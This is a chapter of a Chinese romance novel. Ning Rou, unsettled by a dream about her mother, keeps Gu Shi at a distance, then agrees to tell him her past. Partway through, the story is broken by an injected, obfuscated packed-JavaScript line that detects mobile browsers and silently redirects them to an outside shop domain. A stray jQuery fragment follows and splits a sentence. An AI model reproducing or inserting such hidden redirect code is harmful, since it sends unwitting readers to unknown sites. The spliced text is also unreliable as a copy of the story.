宁柔睡得并不安稳。
毛毯裹在身上像一层薄薄的茧，她蜷缩在躺椅里，眉头始终蹙着。梦里又回到了那间老屋，母亲躺在卧室里，窗帘拉着，整个空间都很昏暗，空气里弥漫着浓烈的中药味。她站在门口，不敢进去，却听见里面传来低低的啜泣。
“柔柔……别走妈妈的老路……”
她猛地睁开眼。
休息室里没有开大灯，只有化妆镜前的几盏灯泡亮着，昏黄的光晕在墙上投下模糊的影子。她眨了眨酸涩的眼睛，还没完全从梦境的黏腻里抽离，视线里忽然闯入一个熟悉的身影。
那人站在几步之外，黑色西装外套搭在臂弯里，白衬衫的领口松了一颗扣子，头发不像平日那样一丝不苟，脸色也不太好看。
她看清那张脸后，心脏跳动的频率快了几分。
“阿时……”
念头先于理智冒出来，她几乎是本能地想要起身，嘴角甚至已经有些许上扬。
是他，他来了。
她想念他。这个认知在意识尚未完全清醒时，先一步抵达了四肢。可就在她撑起上半身的瞬间，梦里的画面忽然闪回。
母亲那张惨白的脸，父亲那可恨模糊的背影，还有……梦里顾时牵着她的手，掌心温热，却越收越紧，紧到骨头都在发疼，他的面目也忽然变得狰狞可怖。
她的动作忽然僵住，上扬的嘴角还来不及完全展开，就凝固在半空中。她像是被什么东西烫到一般，猛地往后一缩，后背重重撞在躺椅的靠背上，把毛毯往身上拉了拉，好像这层薄薄的布料能暂时将她和他隔开一样。
她低下头，不再看他。
“……你怎么来了。”
声音平得像是一潭死水，把刚才那一瞬的欣喜彻底盖了过去。
顾时站在原地，没有动。她所有的反应他都看在了眼里。
她刚醒时，眼神迷蒙地找到他，那一瞬间的亮光和惊喜，像一颗石子投入他这几日干涸的心湖，荡起了一圈涟漪。他几乎要以为她还是想他的，还是念着他的。可那颗石子还没沉底，她就后退了。退得那么明显，那么迅速，宛如他是什么洪水猛兽一般。
他搭在外套上的手指不断捏紧，手背泛起青筋。
“忙完了。”他声音略微发哑，像是被砂纸磨过，“来看看你。”
他说着不自觉往前了一步。
宁柔没有抬头，但感觉到了他的靠近，抓着毛毯的手指骤然收紧，身体又往后缩了缩，几乎要嵌进椅背里。
顾时的脚步顿住了。
他看着她低垂的睫毛，在眼睑下投出一片颤动的阴影。她明明就在他面前，不到一米的距离，可那道毛毯和她蜷缩的姿态，筑起了一道他跨不过去的墙。
“阿柔。”他轻声唤她，眼里带着些低落，“你在怕我吗？”
她没说话。
化妆镜前的灯泡忽然“滋滋”响了两声，闪了一下。休息室里安静得可怕，能听见窗外剧组嘈杂的人声，却衬得这一方空间更加死寂。
顾时犹豫了几秒还是走到她身旁，然后慢慢蹲下身，单膝跪在她躺椅旁的地毯上，让自己的视线低于她，不给她压迫感。
“是我做错了什么？”他问，黑色的眼眸一直盯着她有些疲倦的脸，语气带着些恳求，“你告诉我，我改。”
宁柔的睫毛颤得更厉害了。
她想说不是，她想说你没有错，想说他不该这样卑微地跪在她面前，他明明是天之骄子，是顶级豪门的掌权人，他不欠她什么，可以不用低头。
可梦里的画面还在脑子里转。母亲的手，顾时的手，叠在一起，都死死抓着她，说“别走”。
她张了张嘴，最终只挤出一句：“……我想再睡会。”
顾时看着她，看了很久。
久到宁柔以为他会像从前那样，固执地不肯走，或者干脆把她从椅子上抱起来。她甚至已经绷紧了身体，准备迎接他的触碰。
可他没有。
他慢慢起身，把搭在臂弯里的外套轻轻放在她脚边的椅子上。
“好。”他说，“你睡。”
顾时转身往门口走，脚步放得很轻，像是怕吵到她。手搭上门把手时，他停了一下，没有回头。
“我就在外面。”他顿了顿，“有需要随时叫我。”
门轻轻合上。
宁柔抬起头，看着那扇关上的门，又看了看椅子上他的外套，上面还残留着一点他的气息，很淡的冷杉味。
她忽然把脸埋进毛毯里，肩膀微微发抖。
不是因为他。
是因为她自己，她刚才竟然在心疼他。
她意识到她对他的情感好像已经不是演戏那么简单了……
-
顾时真的在门外守了一下午。
宁柔没有睡着，她躺在躺椅里，听着门外偶尔传来的脚步声，停顿，然后是更轻的呼吸声。
他知道她没睡着，她也知道他知道。
陈悦来送过几次水，第一次被顾时一个眼神钉在原地，第二次干脆绕路走。到第三次时，她实在忍不住，隔着门缝小声喊：“太太，您要不……”
“让她休息。”顾时的声音从门边传来，不高，但不容置疑。
宁柔在门内攥紧了毛毯，脑子里除了梦还多了两人之间的种种回忆。
傍晚时分，剧组收工，走廊里人声嘈杂起来。宁柔终于坐起身，她觉得不能再这么逃避下去，一点也不像她自己了。她把顾时的外套叠好放在臂弯里，深呼吸一口气，拉开了门。
顾时靠在墙边，闻声侧头。
他站了太久，黑色西裤上沾了一点墙灰，领带早就扯掉了，领口敞着，露出锁骨下方一小片皮肤。他看上去憔悴得厉害，眼窝深陷，但眼睛在看到她的一瞬间亮了一下，随即又暗下去，因为她手里抱着他的外套，动作像是要还给他。
“阿柔……”
“回去吧。”她把外套递过去，声音很轻，但每个字都咬得很清晰，“你这样，我们都累。”
顾时没有接外套。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710088|205425||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他看着她，忽然笑了一下，那笑容里没什么温度，倒像是被什么东西刺中一样，带着些自嘲的意味。
“我不觉得累。”他语气里充满着无奈，“是你累吧。”
宁柔看他这样，心里是说不出的滋味，抿紧了嘴唇。
“因为我让你累了，所以你躲着我。因为我让你累了，所以你不回消息、不接电话、让我像个傻子一样在门外站一下午。”他的声音开始发颤，但还在克制，“阿柔，我到底做了什么，让你连看都不敢看我？”
走廊里有人停下来张望，被林特助一个眼神瞪走了。
宁柔的手指攥紧了外套边缘，指节发白。她想说“不是因为你”，可这句话卡在喉咙里，因为某种意义上，确实是因为他。
因为他太好了，好到她已经开始依赖他，好到她开始会想他念他不舍得他，好到母亲那句“别信男人”像诅咒一样缠上了她。
“你说话。”顾时往前一步，距离近到她能闻到他身上的冷杉味，混着一点风尘仆仆的疲惫，“你看着我，告诉我，我哪里错了。”
她下意识后退，后背抵上了门框。
这个动作彻底激怒了他，或者说击垮了他。
他猛地抬手，撑在她耳侧的门框上，把她困在方寸之间。这个动作他从前做过无数次，带着亲昵和霸道，可此刻他的手在发抖，眼睛里全是恐慌，像是溺水的人拼命要抓住最后一块浮木。
“别再躲了。”他的声音低哑得不成样子，“你躲了七天，整整七天，我给你发了三百八十一条消息，你回了十二条。我给你打了四十八个电话，你接了三个，每个不超过二十秒。”
他低头抵在她的额头上，两人滚烫的呼吸瞬间交缠在一起。
“我受不了了，阿柔。”他声音里带着恳求，“你不觉得这样对一无所知的我真的很不公平吗？你告诉我到底为什么。”他的语气变得急切，“或者你要我改，你告诉我改哪里，只要你别这样……别这样一声不吭地把我往外推。”
宁柔闭上眼睛，脑海里全是他的话语和表情，心也不受控制地难受起来。
她不想看见他这样，她也觉得这样对他的确不公平。
他沉沉的呼吸拂在她脸上，那么近，那么真。不是梦里的，是真实的顾时，真实的温度，真实的气息。
“你真的想了解全部的我吗？”
她忽然开口，声音很轻很轻。
顾时的身体僵住，不过很快，因她态度松动而涌上的欣喜就替代了那份僵硬。
“想，如果你愿意的话，我想知道全部的你。”
她整个肩膀沉了下去，像是卸下了什么重担一样。
“回酒店吧，我慢慢跟你说。”
“好！”他脸上的阴霾瞬间一扫而光，眼底倏然亮起来，迅速亲吻了一下她的额头，然后牵着她的手就往外走。
陈悦和林特助跟在两人身后。
走廊尽头的沈野，目光一直落在宁柔和顾时紧牵的手上，直到他们的身影消失，他才起身离开。